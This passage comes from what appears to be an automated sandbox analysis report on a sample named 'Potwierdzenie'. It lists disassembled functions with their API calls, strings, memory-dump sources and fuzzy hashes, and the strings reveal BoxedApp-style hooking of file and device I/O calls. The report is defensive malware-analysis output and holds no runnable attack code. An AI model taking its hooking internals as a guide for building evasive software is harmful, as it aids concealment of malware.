Instruction Fuzzy Hash: 5C817231B602056FDB14FBB4DC56FBE77A9EF51600F004478EA16BB190EE70A9099760

Function 0BC70A90 Relevance: 25.9, APIs: 12, Strings: 5, Instructions: 412COMMON

Download Yara Rule

APIs

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Part of subcall function 0BBFE950: memcpy.NTDLL(00000000,?,?,?), ref: 0BBFE98A

memcpy.NTDLL(00000000,?,?,?,?,?), ref: 0BC70C8E
memcpy.NTDLL(00000000, | ,00000000,?,?,?), ref: 0BC70CBF

Strings

(0x%.8x), xrefs: 0BC70F47
NULL, xrefs: 0BC70D8F, 0BC70DC5
0x%.8x, xrefs: 0BC70E0E
| , xrefs: 0BC70C48, 0BC70CB9, 0BC70E29, 0BC70E9C
, xrefs: 0BC70B8F

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$FreeHeapReleaseSemaphore
String ID: $ (0x%.8x)$ | $0x%.8x$NULL
API String ID: 3508845319-3399550634
Opcode ID: 4d7b00cc17ec986a39709c24b87fdac866707d1c7c6e953f5e58dfd2fe7059d4
Instruction ID: 56f899a7c83f5975bad405118ae30720c5c14a38df6c7f03c19c4150eee1bd2d
Opcode Fuzzy Hash: 4d7b00cc17ec986a39709c24b87fdac866707d1c7c6e953f5e58dfd2fe7059d4
Instruction Fuzzy Hash: 97027AF0D5060AAFDB10EFA0C885BAEFBB5FF44304F1485A9D519AB201D731AA59CF91

Function 0BC9C140 Relevance: 25.8, APIs: 17, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: bf75b6f5d215fb9e9fb36b629453c6cf9353f12eb0ebc830f3197889cc29a47c
Instruction ID: f3ef2fba53a98716b9306486eae686ff3fd0437a645e13837a06b31a909a1aef
Opcode Fuzzy Hash: bf75b6f5d215fb9e9fb36b629453c6cf9353f12eb0ebc830f3197889cc29a47c
Instruction Fuzzy Hash: 47B15AB4E20309AFEF10DFA4D885BAEBBB5FF48314F104569E905A7250DB34AA45DF90

Function 0BCA8F10 Relevance: 25.7, APIs: 17, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eb305612be92b00067048f3ebcabb07d24beead6c583f471ab2b773391017ba
Instruction ID: d10e09924ded181a27856345e5546931568d96e5c217fc118dc1d5365977312c
Opcode Fuzzy Hash: 0eb305612be92b00067048f3ebcabb07d24beead6c583f471ab2b773391017ba
Instruction Fuzzy Hash: 2251A475D21322AFCB21EF65CC81A6B77BDEFC8A94F050519EE19A7210DB709A0096A0

Function 0BCACE80 Relevance: 25.7, APIs: 17, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07dbd8110fd7bc79ff0303c54889759846d68431c7fd4af81099e1526b9967c6
Instruction ID: 23b6d8d6acfb9c5faa9a0f09b42d8073f71a67805745156758370b7852e6de0d
Opcode Fuzzy Hash: 07dbd8110fd7bc79ff0303c54889759846d68431c7fd4af81099e1526b9967c6
Instruction Fuzzy Hash: 8841B975D312216ECB21AF66CC81B7B7ABDEFC5AA4F044119ED09E7250DB34DA0196E0

Function 0BC108F0 Relevance: 24.5, APIs: 3, Strings: 13, Instructions: 482COMMON

Download Yara Rule

APIs

Part of subcall function 0BCC0E20: GetLastError.KERNEL32(00000000,0BBF7CEB,?,00000000,0BBF5C6B), ref: 0BCC0E23

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BBFF510: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,?,0BBF2FC0,00000000,layer/sandbox,BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init,: TlsAlloc() failed, GetLastError() = ,00000000,0BCCD818), ref: 0BBFF558

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

memcpy.NTDLL(00000000,00000000,00000001,00000000,00000100), ref: 0BC10C89

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

: input: ", xrefs: 0BC10F2D
" succeed, returned handle is not virtual, xrefs: 0BC10D9F
INVALID_HANDLE_VALUE, xrefs: 0BC10BE6, 0BC10C1B
" failed, status = , xrefs: 0BC10B42
core, xrefs: 0BC109B8, 0BC10B55, 0BC10CC6, 0BC10DB2, 0BC10E25, 0BC10F37
" succeed, returned handle id virtual, xrefs: 0BC10E12
4, xrefs: 0BC10948
: NtOpenFile(", xrefs: 0BC10B4B, 0BC10CBC, 0BC10DA8, 0BC10E1B
0x%p, xrefs: 0BC10C29
" doesn't match template \??\<drive>:, xrefs: 0BC10F24
: original NtDeviceIoControlFile() returned STATUS_OBJECT_NAME_NOT_FOUND, going to check if virtual drive is requested, input: ", xrefs: 0BC109AE
" succeed, handle = , xrefs: 0BC10CB3
BoxedApp::CBoxedAppCore::My_NtDeviceIoControlFile, xrefs: 0BC109B3, 0BC10B50, 0BC10CC1, 0BC10DAD, 0BC10E20, 0BC10F32

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$wsprintf$ErrorFileFreeHeapLastLocalReleaseSemaphoreTimeWrite
String ID: " doesn't match template \??\<drive>:$" failed, status = $" succeed, handle = $" succeed, returned handle id virtual$" succeed, returned handle is not virtual$0x%p$4$: NtOpenFile("$: input: "$: original NtDeviceIoControlFile() returned STATUS_OBJECT_NAME_NOT_FOUND, going to check if virtual drive is requested, input: "$BoxedApp::CBoxedAppCore::My_NtDeviceIoControlFile$INVALID_HANDLE_VALUE$core
API String ID: 3576842275-3486130623
Opcode ID: eea938e657df824403f06d9240eec9bbc44524a4bccd33f245daf70755d0ffe1
Instruction ID: 150e3e1a140863757646f155ce4af87b37bf6f8bd9e1cab824db8c124b664f56
Opcode Fuzzy Hash: eea938e657df824403f06d9240eec9bbc44524a4bccd33f245daf70755d0ffe1
Instruction Fuzzy Hash: B2026131A602059FCB14FB70CC96EEE77B9EF55600F4044B9E506AB290EF74EA48DB91

Function 0BC8ED80 Relevance: 24.2, APIs: 16, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dabc79be85650044894a46c8aade4f4d3671a237a7edae4ac4e4ce52e882c9
Instruction ID: db62899496b5f98e1fc14d4bec8de6595e2ee3b593820bbdfa424400b0974f16
Opcode Fuzzy Hash: 61dabc79be85650044894a46c8aade4f4d3671a237a7edae4ac4e4ce52e882c9
Instruction Fuzzy Hash: 3271B270921216AFDF18EF65C885B6BBBB8BF40758F04419CE905EB254DB34DA01DBE0

Function 0BC4CC10 Relevance: 24.2, APIs: 16, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0452812d63aa47c4abb8ac41103568e1577b100848fcf3cf723f5cea8b4970ed
Instruction ID: 32aeb454939a12144637f6c3fced7ae85859639a8de759e6d61cc48099d83a66
Opcode Fuzzy Hash: 0452812d63aa47c4abb8ac41103568e1577b100848fcf3cf723f5cea8b4970ed
Instruction Fuzzy Hash: C2718D70922215AFDF18EF65C881B6BBBB8FF40754F044198E905AB264DB34DB11DBE0

Function 0BCA0CF0 Relevance: 24.2, APIs: 16, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b671a3a763ef2989e2a6a99d8a98bfb6a1d500c2ae2535c8cb36362930e81d0a
Instruction ID: adb5695dc8492d66d0191e7d39d92f1ac5ebdbac6e09185240afec18a0967c76
Opcode Fuzzy Hash: b671a3a763ef2989e2a6a99d8a98bfb6a1d500c2ae2535c8cb36362930e81d0a
Instruction Fuzzy Hash: F0619171D212159FCB25EFA5C885BAFBBB8BF84794F14011CED05B7240DB34AA04DBA0

Function 0BC4CEE0 Relevance: 24.2, APIs: 16, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecff11200611dfc78c0624481b5a32b2925444b0e2bf611c7a23e53946961a87
Instruction ID: 15260d4a0c13b968b65c0fa90a621a6ff7d62ceae9367e74a97d918220b04748
Opcode Fuzzy Hash: ecff11200611dfc78c0624481b5a32b2925444b0e2bf611c7a23e53946961a87
Instruction Fuzzy Hash: D961B2B0922706AFDB24EF65C881B6BB7B8FF40754F044629E906A7250DB34EB45DBD0

Function 0BC461C0 Relevance: 23.1, APIs: 4, Strings: 9, Instructions: 341threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0BC381E0: ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?,?,?,?,0BC4B20A,?,00000000,?,?,?), ref: 0BC3824D

ResetEvent.KERNEL32(?), ref: 0BC46248

Part of subcall function 0BBFE210: memcpy.NTDLL(00000000,00000000,00000001,00000000,00000100), ref: 0BBFE2D9

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

ResetEvent.KERNEL32(?), ref: 0BC46252
IsBadWritePtr.KERNEL32(?,?), ref: 0BC46261
GetCurrentThread.KERNEL32 ref: 0BC46436

Strings

, Length = , xrefs: 0BC464D7
, IoStatusBlock->Information = , xrefs: 0BC464B5
core, xrefs: 0BC462D9, 0BC464ED
', xrefs: 0BC462BA
, path = ', xrefs: 0BC462C3
, status = , xrefs: 0BC464D1
CFileSystem::ReadFile, handle = , xrefs: 0BC462D4
NtReadFile, FileHandle = , xrefs: 0BC464E8
, IoStatusBlock->Status = , xrefs: 0BC464C2

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$EventResetWritewsprintf$CurrentFileLocalReleaseSemaphoreThreadTime
String ID: '$, IoStatusBlock->Information = $, IoStatusBlock->Status = $, Length = $, path = '$, status = $CFileSystem::ReadFile, handle = $NtReadFile, FileHandle = $core
API String ID: 1272506536-2822131825
Opcode ID: 2ecaaece7c6b64bd9b109d3974d7d08a1c1b722914bc94b695d77f8c8e3a4008
Instruction ID: 75805b59e5f35ca7b73fa73cfa1ce7462c7cf57d3cedbef67743b57b1a02163d
Opcode Fuzzy Hash: 2ecaaece7c6b64bd9b109d3974d7d08a1c1b722914bc94b695d77f8c8e3a4008
Instruction Fuzzy Hash: F2C16F31A50205AFDF14EFA4C889FAE7BB5FF49304F0444A8E906AB254DB74EE05DB90

Function 0BC70FF0 Relevance: 22.9, APIs: 12, Strings: 3, Instructions: 388COMMON

Download Yara Rule

APIs

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Part of subcall function 0BBFE950: memcpy.NTDLL(00000000,?,?,?), ref: 0BBFE98A

memcpy.NTDLL(00000000,?,?,?,?,?), ref: 0BC7111E
memcpy.NTDLL(00000000, | ,00000000,?,?,?), ref: 0BC7114F
memcpy.NTDLL(00000000,?,?,?,?,?), ref: 0BC711BB
memcpy.NTDLL(00000001,?,00000001,?,?,?), ref: 0BC711EB
memcpy.NTDLL(00000000,0BCDB15C,00000002,00000000,00000101,?,?,?), ref: 0BC7125E
wsprintfA.USER32 ref: 0BC712A2
memcpy.NTDLL(00000000,?,?), ref: 0BC71300
memcpy.NTDLL(00000000, | ,00000000), ref: 0BC7132F
memcpy.NTDLL(00000000,?,?), ref: 0BC71390
memcpy.NTDLL(00000000,00000000,00000001), ref: 0BC713C0
memcpy.NTDLL(00000000,?,?), ref: 0BC7143C
memcpy.NTDLL(?,00000000,00000001), ref: 0BC7146C

Strings

(0x%.8x), xrefs: 0BC713D6
0x%.8x, xrefs: 0BC7129C
| , xrefs: 0BC710D4, 0BC71149, 0BC712B7, 0BC71329

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$FreeHeapReleaseSemaphorewsprintf
String ID: (0x%.8x)$ | $0x%.8x
API String ID: 2113738382-2999991421
Opcode ID: c64cb2a5077d8f860ea1f0071e0def3a624e6febb2195470e88c77d48fc53c47
Instruction ID: add52422c73b984b755e0e2380c2ac56d2315e7f702d57d46bc74106331e4bdc
Opcode Fuzzy Hash: c64cb2a5077d8f860ea1f0071e0def3a624e6febb2195470e88c77d48fc53c47
Instruction Fuzzy Hash: 8AE19FB0D5060AAFDB14EFA4C885AAFF7B9FF44304F088569D419A7700E730EA19CB91

Function 0BC705C0 Relevance: 22.9, APIs: 10, Strings: 5, Instructions: 355COMMON

Download Yara Rule

APIs

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Part of subcall function 0BBFE950: memcpy.NTDLL(00000000,?,?,?), ref: 0BBFE98A

memcpy.NTDLL(00000000,?,?,?,?,?), ref: 0BC707DE
memcpy.NTDLL(00000000, | ,00000000,?,?,?), ref: 0BC7080F
memcpy.NTDLL(00000000,?,?,?,?,?), ref: 0BC70874

Strings

, xrefs: 0BC7070E
NULL, xrefs: 0BC708CD, 0BC70906
0x%.8x, xrefs: 0BC7094D
| , xrefs: 0BC70793, 0BC70809, 0BC7096C, 0BC709DD
, xrefs: 0BC706F2

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$FreeHeapReleaseSemaphore
String ID: $ $ | $0x%.8x$NULL
API String ID: 3508845319-873560203
Opcode ID: 5d8446ee664a3da2d0e9f89cd3ac2bbb765722d339f8a91965e4f5fc02a50df8
Instruction ID: 9d8a4240bd30819784605d408963167f839cafa694ff3e43b8ec4bd319242d92
Opcode Fuzzy Hash: 5d8446ee664a3da2d0e9f89cd3ac2bbb765722d339f8a91965e4f5fc02a50df8
Instruction Fuzzy Hash: 73E178F0D50209AFDB10EFA4C885BAEBBB5FF44304F1485A9E519AB201D770AA49CF91

Function 0BC6FBB0 Relevance: 22.8, APIs: 10, Strings: 5, Instructions: 348COMMON

Download Yara Rule

APIs

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Part of subcall function 0BBFE950: memcpy.NTDLL(00000000,?,?,?), ref: 0BBFE98A

memcpy.NTDLL(00000000,?,?,?,?,?), ref: 0BC6FD64
memcpy.NTDLL(00000000, | ,00000000,?,?,?), ref: 0BC6FD95
memcpy.NTDLL(00000000,?,?,?,?,?), ref: 0BC6FDFD
memcpy.NTDLL(?,?,00000001,?,?,?), ref: 0BC6FE28
memcpy.NTDLL(?,NULL,00000002,00000000,00000101,?,?,?), ref: 0BC6FE9D

Strings

, xrefs: 0BC6FC46
@, xrefs: 0BC6FBE9
NULL, xrefs: 0BC6FE56, 0BC6FE94
0x%.8x, xrefs: 0BC6FEDB
| , xrefs: 0BC6FD21, 0BC6FD8F, 0BC6FEFA, 0BC6FF6C

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$FreeHeapReleaseSemaphore
String ID: $ | $0x%.8x$@$NULL
API String ID: 3508845319-4215667143
Opcode ID: 1aac79f67b099a4dafa13ee51b212677b52a0a0844c2a498a72280efc58551eb
Instruction ID: be0c59c6e7811f10cef52a37f8d0894659794f0074a6c3d72ee8f712cbd1a1a3
Opcode Fuzzy Hash: 1aac79f67b099a4dafa13ee51b212677b52a0a0844c2a498a72280efc58551eb
Instruction Fuzzy Hash: DDD19BB1D1020AAFDB10DFA4D885BAEBBF9FF45304F14856DD519AB301DB30AA49CB91

Function 0BC26550 Relevance: 21.2, APIs: 14, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
